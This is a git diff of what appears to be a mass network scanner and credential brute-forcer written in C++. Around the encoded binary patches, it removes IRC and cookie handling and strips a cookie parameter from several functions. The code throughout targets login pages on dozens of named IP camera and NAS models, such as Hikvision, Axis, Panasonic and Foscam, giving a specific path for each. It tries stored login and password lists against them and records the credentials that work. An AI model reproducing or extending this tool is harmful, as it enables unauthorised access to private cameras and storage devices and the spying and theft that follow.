zE@vCVxttFe&fDE!wFSoBPR~;~>CgMsGREiWUe0iy?rjX`>F#DY=clQKBuY0EKV5FU z6i#~bbcZmU%bCG&p6+!F=lm@Sx99g+#^>qoWjL4Pp~AvJdh&F~Go14)6;A2$e)Uqu zkKmpzhie(m<vhS}p6=re=l$w#hI9V6F8J{@xy516*H{<)LKplp7yJ({_!bv@j|+a- z1@A|bRR{g^T<~AG;8(cdYhCcYC&$yh0++fT4=|kfC!(`Zdh-6nJHT1aFottE;~386 zoWpR=pU-g4uTXe0lBY|p|K*GyVfZSBbNl?O!jr*0h4G(Zd@kpGhI2V76d8xz4htF1 z`O6ee>5^${{Z}x4gyDZ+IG3}9;k>;ZWH{$%WkM(pN|!Emx+4`%`bQW(o#9+gCBu2T z4=|kb-&MFhzn?KaPdAl19UQ6naXAAS&eQz`!#V$2g;Tn8sq=da<3||&7lv~=FEE^^ z`x?V}KX#DeoPQiSD>x`$93SI?U*Li-cfoIU!8g0$@4Day4eB`TdY<Hhk8{B<a=|Zm z!EbZHH@V;kPK)bVj7wd=#_7&@nhSoc3*OHK&ve1haKT5o;Nuux$@HJfaGtLVUGS@2 z@Ecw5Ke*ucy5JAF;G10Voi6z6F8Bv7_*X7?zcZZc_c|B+J{NqG3;w(dzRv|eVTiLn zLtOCHIdOh7tM_+Z@WDQ3zTXAEn&H<l`ER)3|6q6>;~#dx?;Ixep?)>W_zx(Y`VF41 zZ(Z<t!=2@nD4gW9F!|LC=g+e)bHSfsI4_623b*TDJwobZ*MGAM-gTrizi?C>zmDmD zp$op0;g>T0jSOGT@HGry#qh@!PV3v(Gd$@`1aMHk8t~KoWE#U88QzcKT%T-)bA4to z{0b�mDleUdiwZhTp(&&cB1<oc|YvQ$1!eIolaO!tmV;=i|F47bF}cXE1)ce2!H( zm0N`2r!kz%nZ|HFzF*I9&fltVN|*bA&oe$x7vG8!2kFD*bRHeYdAbuB&iOS8r*vru z)%k5?{0PH;&u}hhBg1*R+ZcWolY{SJiG%d#{M0ed_&^tYvJ1Y@1z+ic-{*oq<AS%l z;6291_2+hbyuztH{suo?&VyX|BN=`J<4<OCZe(~7<MVVcW;kyzD;d6;$$5dv|1HD2 zjY9wj*~zc))B2yPaH_}OF?@`|DZe){d@94a{(oa~Rxth^hBq+$V}>^}{G;&*;2?c2 z!B6WsbpoLh=jBkwa9(aT4Cnlt8UB07)AFBScoD<ja>4g0oXY2B#_#4w00-f>;HTxE z=0^Yrl|Q*c8XxLM00-rF4SpJ*;YR=m;kV+a@sJ+@9E9`yhW&(gET0?v0`9=SgW<e< z+8BNXqUv<tWH?XvV}^4%T?2@W!>;EE4Cnk|3a9cp13#VaRK|}md;!C+WcY8G9CF#T zoZA?m%XysPT+VKWb9?AN5khfLzBqrT!b$&r_~~>@89&1C<qYR?Ze=)6_YH<~ewRrQ ziX$1nZ2WY(eH2c5Mi@Sn;am>BKrIg9^K`FgIOlIwIHk+;`#j@Ea8K*=5yQEh&iNqW zu%~M>ob&4yPU#NCPs?v&{0PHuWjL3!nc+OY-!h!@2Nysn4oa6?d!6ohg{K0GF#H^b zb2&>H&eOe;;eTLq?qE3QZ+F4>y5OG45Q>BJ<Z=eN;8R@iMJ{;M1^<%^{x=u=GZ(zu z6rp|x{j**0nJ##>3x2%|{*Vj)vJ3uC7d*ps*8gONH-Mt;DvRNb44=gC5{A!YIPX`( z4Cnj?hI9VS3MV_yV)7qg{0PI_7|!kd8zzUQo;qKtg$UrVx0gN)=W=ox&h2&?!#V#x zg_Hi=AKuLP5!}=IyvT4a=PQQubPq9nF_Uw`R0MF?+t)Z3{2~|pau@tI7rfO456+6~ zQ;bWU-#IS$g)VrR3tsJlU*dva#c;kpb{)gHp7*)nkGbHRUGR@x@Vv8}%V&xUewGV< zfeRjT!K+;GWiI#%7krfqeya<9j|={Y3%=O}-|2$C;DW#Ag1_s6$6WCJF8Fs0=XRBL zwsZXsb-^dN;AJlO5*K`>3;u`;zQYB7#|7^-+c{sSy5Ip9yxs+0>4M+kg70;~@0jDP z=bv5hM;OlQ@nwed{^4yG{9_mVA1?TJF1Tl|v;N%}&h<Q=;aty57yN7&yut-v;(|w9 z@T*<$H7@vi7yL;VeBe3G<uiogynOCCSMq6G9)_PDkN(Q=;S7J3;UgISCBsKDJZ&BV zI7t2|{IvX&8Ga_i$1psX;j<Y|OI%t`1;c6SNaGQP)6$E^?^QVY19vj~0mi2#5Y6A_ z!hf3a^BDgv7ybu~PfICU{s9;M4~##7@iWdt0Eb=w;}lNi?8i^bAM3)OsPLn}<?AGK z8Ga9wvyjOTF#HC_=W;eN{9eX?ipiPC@cjy>eDUWRhnO6`ZZqn95OI+H_u;4WTcB_% z2QGi9!tL^}XMAq|_b{B>e=Ebe{lCs|ZvS5~oZJ7=7eGNAq$jukOor#;p3YYu!$&jx z9EOi!_+Eumes5>^=@%k^gVMbgKP}&{aN^&=@CJsjW%%0+=k+!GB9L&{%Xzg6-tK~* z^9yG=Z3-v-Y3V}i|19JGiQ%s?oImF}#N^~N{v$N0z+u<F_k00&z^`<{*D2ht=QoVc z^-QM02?wRi^&F^hlEd{p#|1C8;XkPNC_iNKd3}vtK&f`j?`<yl*Dm;cn#4NDxmDq$ zKd-OdjL*yA1BUZ*IJ;Dc?@<2ty5PM-&V0P%Dh?`VUJkFh;62ME->&~mg_9hv|M?8( z`tM{oPxrKiQodcE)h_sp3b*TX^rE;Nu1{}<bA7I2IM-*t!tL@8GCr4|QXWs2%O9k0 zk`usBx6=W?jPvUlp3iWuPmtkc8d^>r!#V#y6mHi)<>Gj{e`0bn7|!*-h~Zp*CBy5P zoJ$l=>C#f4*0YiE`FhUn3}4Ln+ZfK*H$G?h9gIJXgyOK<&q{^c%V9g?^Ky8e;k+FF z!Q}9Ie4CV3>GFE)PR^ymn{n3V(3|1B9s>;L{6dCv{&fns=W9RX^L!aqLY)r%>L7)a zoP4II&xY&%b2XF0_58{Ok5tFg<@|pr+^+ut#^?Gc{VFbp*UPC2C;#VOrhgve^K|nW zpZiO5UHFf>;CmHr*Z=gIxSm}9Q4Ht$pQmt=!|iHrZCnnwt9pj>d_@?}?c`2|bN;gm zx9gu1j;G7@&to{(AK!uz2g#X?pSJU6#=n!{zhV3-48O~T{~+U=jQ<tG3mJZx;Zqqt zhzb!0^$%R1Aqpq`r{Smd_q*_?Fn*Bn&v)S$GyZhO54-R$W&9b8f2|9DHRI1@{Ci#a z4=_G0J?i{!bKyVD_-8TxTQ2<4B_QFT@;n<qEx(%Kvl+ge;oSazZNqi{vy<U-n4B*Z zZm-|38GkP0r!7SQhn+u6;iNz5qtjh!!*#xHu;H5jI+K3~<Y@jUF8Dr%Qx~rJKQO$Q z;i)v};voJ113%3_Q{mJf-p}v}3a5Pih2b-p9CE3&oOv$%BF2A!@v9mCZid$}{yK*D z!8IMEKOf(71S;{hxYqhKGW>RiuVy$eXCK3FWBe3_Q#nxDYgD+aIurIFemdPA3a9dX zh~dX8oa8*r@RJ$N<)5Z-!X9CK1&c54Y8^C2=Op~*(}g;;K9sJSGKxD{>OSEfbxkK- z4up4N_&jw@IQ{gYs!L#mtKnGeB_IxAR2KT6I;BI)SxXAzcuJlue3!y|s<XwX3mo(9 zxT>gfhEuvd1=}$6_foVR{oT<GHomqGp$Ot?zW$D={%*I%^>;)|m0lXx-~U|9aMDNr zJqi8y!RU4ur6ZmG$@oVzJWb_K%lDrnZyv*Nk{?lF{kOd|Uw^+*f6tq6Za@DAjEj5B literal 0 HcmV?d00001 diff --git a/externData.h b/externData.h index 8e1e8ea..51d0b0b 100644 --- a/externData.h +++ b/externData.h @@ -5,7 +5,6 @@ #define RECV_MAX_SIZE 350000 #define REQUEST_MAX_SIZE 4096 #define PORTSET "80,81,88,8080,8081,60001,60002,8008,8888,554,9000,441,4111,6667,3536,22,21" -#define IRC_CHAN "iskopasi_lab03" #define CSSOCKET(Socket) shutdown(Socket, SD_BOTH); closesocket(Socket); Socket = -1; @@ -27,7 +26,7 @@ extern char top_level_domain[128]; extern volatile int cons, BrutingThrds, gThreads; extern char **loginLst, **passLst, **wfLoginLst, **wfPassLst, **sshlpLst, **GlobalNegatives; extern bool trackerOK, __savingBackUpFile, globalScanFlag, MapWidgetOpened, - widgetIsHidden, OnlineMsgSentFlag, utfIRCFlag, HTMLDebugMode, gNegDebugMode, + widgetIsHidden, OnlineMsgSentFlag, HTMLDebugMode, gNegDebugMode, gDebugMode, horLineFlag, gPingNScan, gShuffle, BALogSwitched; extern int found, indexIP, gMode, @@ -41,7 +40,6 @@ extern int found, indexIP, gMode, offlines, ssh, globalPinger, gPingTimeout, nickFlag, offlineFlag; extern unsigned int Activity; extern char trcSrv[256], trcScr[256], trcProxy[128], trcPersKey[64], - ircServer[32], ircPort[32], ircProxy[64], ircProxyPort[8], ircNick[32], trcPort[32], trcSrvPortLine[32], saveEndIP[128], gRange[128], gFirstDom[128], gPorts[65536], gVER[16], diff --git a/finder.cpp b/finder.cpp index 79a3af8..620bbd8 100644 --- a/finder.cpp +++ b/finder.cpp @@ -489,7 +489,6 @@ char topBuff[1024] = {"<div id=\"tit\"><a href=\"strange.html\">.strange</a> <a void fputsf(char *text, int flag, char *msg) { FILE *file = NULL; - char wew[256] = {0}; if(flag == 0 || flag == 15 || flag == -10) { @@ -760,7 +759,7 @@ void putInFile(int flag, const char *ip, char *port, int recd, char *finalstr, c ZeroMemory(msg, strlen(msg)); } -void _specFillerBA(char *hl, const char *ip, char *port, char *finalstr, const char *login, const char *pass, int flag) +void _specFillerBA(const char *ip, char *port, char *finalstr, const char *login, const char *pass, int flag) { char log[512] = {0}; @@ -779,7 +778,7 @@ void _specFillerBA(char *hl, const char *ip, char *port, char *finalstr, const c fputsf (log , flag, "Basic Authorization"); } -void _specFillerWF(char *hl, const char *ip, char *port, char *finalstr, char *login, char *pass, int flag) +void _specFillerWF(const char *ip, char *port, char *finalstr, char *login, char *pass, int flag) { char log[512] = {0}; @@ -1144,7 +1143,7 @@ void _specWFBrute(const char *ip, int port, char *hl, const char *buff, int flag if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) { - _specFillerWF(hl, ip, tport, title, lps.login, lps.pass, flag); + _specFillerWF(ip, tport, title, lps.login, lps.pass, flag); fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), title, lps.login, lps.pass, comment, cp, tclass); putInFile(flag, ip, tport, recd, title, hl, cp); @@ -1172,13 +1171,13 @@ void _specWEBIPCAMBrute(const char *ip, int port, char *hl, char *finalstr, int if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) { - _specFillerBA(hl, ip, tport, finalstr, lps.login, lps.pass, flag); + _specFillerBA(ip, tport, finalstr, lps.login, lps.pass, flag); fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization"); }; } -void _specBrute(char *cookie, const char *ip, int port, +void _specBrute(const char *ip, int port, char *hl, char *finalstr, int flag, char *path, char *comment, char *cp, int recd) { @@ -1190,7 +1189,7 @@ void _specBrute(char *cookie, const char *ip, int port, if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) { - _specFillerBA(hl, ip, tport, finalstr, lps.login, lps.pass, flag); + _specFillerBA(ip, tport, finalstr, lps.login, lps.pass, flag); fillGlobalLogData(ip, hl, tport, std::to_string(recd).c_str(), finalstr, lps.login, lps.pass, comment, cp, "Basic Authorization"); }; @@ -1417,11 +1416,7 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx, int sz = strlen(ps.path); strncpy(baPath, ps.path, (sz < 256 ? sz : 256)); - } - else - { - if(strstr(buffcpy, "Set-Cookie:") != NULL) strncpy(ps.cookie, _getAttribute(buffcpy, "Set-Cookie:"), COOKIE_MAX_SIZE); - }; + }; sprintf(port, "%d", p); @@ -1480,47 +1475,47 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx, } else if(flag == 21) //Eyeon { - _specBrute(ps.cookie, ip, p, hl, "Eyeon Camera", flag, "/user/index.htm", "Basic Authorization", cp, recd); + _specBrute(ip, p, hl, "Eyeon Camera", flag, "/user/index.htm", "Basic Authorization", cp, recd); } else if(flag == 22) //IP Camera control { - _specBrute(ps.cookie, ip, p, hl, "IP camera Control webpage", flag, "/main/cs_motion.asp", "Basic Authorization", cp, recd); + _specBrute(ip, p, hl, "IP camera Control webpage", flag, "/main/cs_motion.asp", "Basic Authorization", cp, recd); } else if(flag == 23) //Network Camera BB-SC384 { - _specBrute(ps.cookie, ip, p, hl, "Network Camera BB-SC384", flag, "/live/index2.html", "Basic Authorization", cp, recd); + _specBrute(ip, p, hl, "Network Camera BB-SC384", flag, "/live/index2.html", "Basic Authorization", cp, recd); } else if(flag == 24) //Network Camera VB-M40 { - _specBrute(ps.cookie, ip, p, hl, "Network Camera VB-M40", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, recd); + _specBrute(ip, p, hl, "Network Camera VB-M40", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, recd); } else if(flag == 25) //Panasonic WTFISTHISAreaOMGIDONTEVEN-camera { - _specBrute(ps.cookie, ip, 60002, hl, "Panasonic WTFISTHISAreaOMGIDONTEVEN-camera", flag, "/SnapshotJPEG", "Basic Authorization", cp, recd); + _specBrute(ip, 60002, hl, "Panasonic WTFISTHISAreaOMGIDONTEVEN-camera", flag, "/SnapshotJPEG", "Basic Authorization", cp, recd); } else if(flag == 26) //Sony Network Camera { - _specBrute(ps.cookie, ip, p, hl, "Sony Network Camera", flag, "/oneshotimage?", "Basic Authorization", cp, recd); + _specBrute(ip, p, hl, "Sony Network Camera", flag, "/oneshotimage?", "Basic Authorization", cp, recd); } else if(flag == 27) //UA Network Camera { - _specBrute(ps.cookie, ip, p, hl, "UA Network Camera", flag, "/webs.cgi?", "Basic Authorization", cp, recd); + _specBrute(ip, p, hl, "UA Network Camera", flag, "/webs.cgi?", "Basic Authorization", cp, recd); } else if(flag == 28) //Network Camera VB-M40 { - _specBrute(ps.cookie, ip, p, hl, "Network Camera VB-??", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, recd); + _specBrute(ip, p, hl, "Network Camera VB-??", flag, "/-wvhttp-01-/open.cgi?", "Basic Authorization", cp, recd); } else if(flag == 29) //LG Smart IP Device { - _specBrute(ps.cookie, ip, p, hl, "LG Smart IP Device Camera", flag, "/digest.php", "Basic Authorization", cp, recd); + _specBrute(ip, p, hl, "LG Smart IP Device Camera", flag, "/digest.php", "Basic Authorization", cp, recd); } else if(flag == 30) //NAS { - _specBrute(ps.cookie, ip, p, hl, "NAS", flag, "/cgi-bin/data/viostor-220/viostor/viostor.cgi", "Basic Authorization", cp, recd); + _specBrute(ip, p, hl, "NAS", flag, "/cgi-bin/data/viostor-220/viostor/viostor.cgi", "Basic Authorization", cp, recd); } else if(flag == 31) //ip cam { - _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/check_user.cgi", "Basic Authorization", cp, recd); + _specBrute(ip, p, hl, "IP Camera", flag, "/check_user.cgi", "Basic Authorization", cp, recd); } else if(flag == 32) //IPC WEB ip cam { @@ -1532,7 +1527,7 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx, } else if(flag == 34) //Hikvision ip cam { - _specBrute(ps.cookie, ip, p, hl, "[Hikvision] IP Camera", flag, "/PSIA/Custom/SelfExt/userCheck", "Basic Authorization", cp, recd); + _specBrute(ip, p, hl, "[Hikvision] IP Camera", flag, "/PSIA/Custom/SelfExt/userCheck", "Basic Authorization", cp, recd); } else if(flag == 35) //EasyCam { @@ -1540,11 +1535,11 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx, } else if(flag == 36) //Panasonic Cam { - _specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, recd); + _specBrute(ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, recd); } else if(flag == 37) //Panasonic Cam { - _specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/view/getuid.cgi", "Basic Authorization", cp, recd); + _specBrute(ip, p, hl, "[Panasonic] IP Camera", flag, "/view/getuid.cgi", "Basic Authorization", cp, recd); } else if(flag == 38) //Foscam { @@ -1552,11 +1547,11 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx, } else if(flag == 39) //EagleEye { - _specBrute(ps.cookie, ip, p, hl, "[EagleEye] IP Camera", flag, "/cgi-bin/guest/Video.cgi?", "Basic Authorization", cp, recd); + _specBrute(ip, p, hl, "[EagleEye] IP Camera", flag, "/cgi-bin/guest/Video.cgi?", "Basic Authorization", cp, recd); } else if(flag == 40) //Network Camera VB-C?? { - _specBrute(ps.cookie, ip, p, hl, "[Network Camera VB-C??] IP Camera", flag, "/admin/index.shtml?", "Basic Authorization", cp, recd); + _specBrute(ip, p, hl, "[Network Camera VB-C??] IP Camera", flag, "/admin/index.shtml?", "Basic Authorization", cp, recd); } else if(flag == 41) //AVIOSYS-camera { @@ -1564,19 +1559,19 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx, } else if(flag == 42) //NW_camera { - _specBrute(ps.cookie, ip, p, hl, "[NW_camera] IP Camera", flag, "/cgi-bin/getuid?FILE=indexnw.html", "Basic Authorization", cp, recd); + _specBrute(ip, p, hl, "[NW_camera] IP Camera", flag, "/cgi-bin/getuid?FILE=indexnw.html", "Basic Authorization", cp, recd); } else if(flag == 43) //NW_camera { - _specBrute(ps.cookie, ip, p, hl, "[Micros] IP Camera", flag, "/gui/rem_display.shtml", "Basic Authorization", cp, recd); + _specBrute(ip, p, hl, "[Micros] IP Camera", flag, "/gui/rem_display.shtml", "Basic Authorization", cp, recd); } else if(flag == 44) //Hikvision ip cam 2 { - _specBrute(ps.cookie, ip, p, hl, "[Hikvision] IP Camera 2", flag, "/ISAPI/Security/userCheck", "Basic Authorization", cp, recd); + _specBrute(ip, p, hl, "[Hikvision] IP Camera 2", flag, "/ISAPI/Security/userCheck", "Basic Authorization", cp, recd); } else if(flag == 45) //Panasonic ip cam { - _specBrute(ps.cookie, ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, recd); + _specBrute(ip, p, hl, "[Panasonic] IP Camera", flag, "/config/index.cgi", "Basic Authorization", cp, recd); } else if(flag == 46) //Buffalo disk { @@ -1596,39 +1591,39 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx, } else if (flag == 50) //IP Camera { - _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/app/multi/single.asp", "Basic Authorization", cp, recd); + _specBrute(ip, p, hl, "IP Camera", flag, "/app/multi/single.asp", "Basic Authorization", cp, recd); } else if(flag == 20) //AXIS Camera { - _specBrute(ps.cookie, ip, p, hl, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "Basic Authorization", cp, recd); + _specBrute(ip, p, hl, "AXIS Camera", flag, "/axis-cgi/com/ptz.cgi?", "Basic Authorization", cp, recd); } else if(flag == 19) //reecam cameras { - _specBrute(ps.cookie, ip, p, hl, "Reecam (network camera)", flag, "/videostream.cgi", "Basic Authorization", cp, recd); + _specBrute(ip, p, hl, "Reecam (network camera)", flag, "/videostream.cgi", "Basic Authorization", cp, recd); } else if(flag == 18) //linksys camera { - _specBrute(ps.cookie, ip, p, hl, "Linksys camera", flag, "/img/main.cgi", "Basic Authorization", cp, recd); + _specBrute(ip, p, hl, "Linksys camera", flag, "/img/main.cgi", "Basic Authorization", cp, recd); } else if(flag == 17) //Real-time IP Camera Monitoring System { - _specBrute(ps.cookie, ip, p, hl, "Real-time IP Camera Monitoring System", flag, "/live.htm", "Basic Authorization", cp, recd); + _specBrute(ip, p, hl, "Real-time IP Camera Monitoring System", flag, "/live.htm", "Basic Authorization", cp, recd); } else if(flag == 11) { - _specBrute(ps.cookie, ip, p, hl, "Netwave IP Camera", flag, "/videostream.cgi", "Basic Authorization", cp, recd); + _specBrute(ip, p, hl, "Netwave IP Camera", flag, "/videostream.cgi", "Basic Authorization", cp, recd); } else if(flag == 12) { - _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/view/view.shtml?videos=", "Basic Authorization", cp, recd); + _specBrute(ip, p, hl, "IP Camera", flag, "/view/view.shtml?videos=", "Basic Authorization", cp, recd); } else if(flag == 13) { - _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/eng/view/indexjava.html", "Basic Authorization", cp, recd); + _specBrute(ip, p, hl, "IP Camera", flag, "/eng/view/indexjava.html", "Basic Authorization", cp, recd); } else if(flag == 14) { - _specBrute(ps.cookie, ip, p, hl, "IP Camera", flag, "/rdr.cgi", "Basic Authorization", cp, recd); + _specBrute(ip, p, hl, "IP Camera", flag, "/rdr.cgi", "Basic Authorization", cp, recd); } else if(flag == 15) //For HFS { @@ -1645,11 +1640,11 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx, } else if(flag == 1) { - _specBrute(ps.cookie, ip, p, hl, finalstr, flag, baPath, "[NORMAL]", cp, recd); + _specBrute(ip, p, hl, finalstr, flag, baPath, "[NORMAL]", cp, recd); } else if(flag == 101) { - _specBrute(ps.cookie, ip, p, hl, finalstr, flag, baPath, "[DIGEST]", cp, recd); + _specBrute(ip, p, hl, finalstr, flag, baPath, "[DIGEST]", cp, recd); } else if(flag == 10) { @@ -1663,7 +1658,7 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx, return flag; } -int redirectReconnect(char *cookie, char *ip, int port, char *str, Lexems *ls, PathStr *ps, std::vector<std::string> *redirStrLst) +int redirectReconnect(char *ip, int port, char *str, Lexems *ls, PathStr *ps, std::vector<std::string> *redirStrLst) { if(ls->iterationCount++ == 5) { @@ -2151,33 +2146,11 @@ void _getLinkFromJSLocation(char *dataBuff, char *str, char *tag, char *ip, int }; } -void _getJSCookie(char *dataBuff, const char *str, char *ip, int port) -{ - char *ptr1 = strstri(str, "document.cookie"); - if(ptr1 != NULL) - { - char *ptr2 = _findFirst(ptr1, "\"'"); - if(ptr2 != NULL) - { - char *ptr3 = _findFirst(ptr2 + 1, "\"'"); - if(ptr3 != NULL) - { - int sz = ptr3 - ptr2 - 1; - if(sz < 1024) strncpy(dataBuff, ptr2 + 1, sz); - else - { - stt->doEmitionRedFoundData("[_getJSCookie] Cookie exceeds max value [" + QString(ip) + ":" + QString::number(port) + "]"); - }; - }; - }; - }; -} - int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps, std::vector<std::string> *redirStrLst) { std::string redirectStr = ""; - if(strstr(str, "Set-Cookie:") != NULL) strncpy(ps->cookie, _getAttribute(str, "Set-Cookie:"), COOKIE_MAX_SIZE); - strcpy(ps->codepage, GetCodePage(str)); + + strcpy(ps->codepage, GetCodePage(str)); char finalstr[512] = {0}; if(strstri(str, "notice auth :*** looking up your hostname...") @@ -2279,15 +2252,17 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps }; }; }; + redirectStr = std::string(temp3); if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) { redirStrLst->push_back(redirectStr); - return redirectReconnect(ps->cookie, ip, port, temp3, l, ps, redirStrLst); + return redirectReconnect(ip, port, temp3, l, ps, redirStrLst); } return -1; strcat(ps->headr, " "); return -2; }; + strcat(ps->headr, finalstr); strcat(ps->headr, " "); return 0; @@ -2295,13 +2270,7 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps }; if(strstri(str, "<script") != NULL) - { - if(strstri(str, "document.cookie") != NULL) - { - ZeroMemory(ps->cookie, sizeof(ps->cookie)); - _getJSCookie(ps->cookie, str, ip, port); - }; - + { char *ptr1 = strstri(str, "<script"); char *ptr2 = NULL; char linkPtr[512] = {0}; @@ -2330,7 +2299,7 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) { redirStrLst->push_back(redirectStr); - redirectReconnect(ps->cookie, ip, port, linkPtr, l, ps, redirStrLst); + redirectReconnect(ip, port, linkPtr, l, ps, redirStrLst); }; }; delete []scriptContainer; @@ -2381,7 +2350,7 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) { redirStrLst->push_back(redirectStr); - return redirectReconnect(ps->cookie, ip, port, linkPtr, l, ps, redirStrLst); + return redirectReconnect(ip, port, linkPtr, l, ps, redirStrLst); } return -1; }; delete []scriptContainer; @@ -2495,7 +2464,7 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps if(std::find(redirStrLst->begin(), redirStrLst->end(), redirectStr) == redirStrLst->end()) { redirStrLst->push_back(redirectStr); - return redirectReconnect(ps->cookie, ip, port, lol, l, ps, redirStrLst); + return redirectReconnect(ip, port, lol, l, ps, redirStrLst); }; } else @@ -2565,7 +2534,7 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps // if (std::find(redirStrLst->begin(), redirStrLst->end(), redirStr) == redirStrLst->end()) // { // redirStrLst->push_back(redirStr); - // return redirectReconnect(ps->cookie, ip, port, redirStr, l, ps, redirStrLst); + // return redirectReconnect(ip, port, redirStr, l, ps, redirStrLst); // } return -1; // } // return -2; diff --git a/finder.o b/finder.o new file mode 100644 index 0000000000000000000000000000000000000000..16763cb05fc6ddd3dd2f75c6a016d3923d7e1023 GIT binary patch literal 186728 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 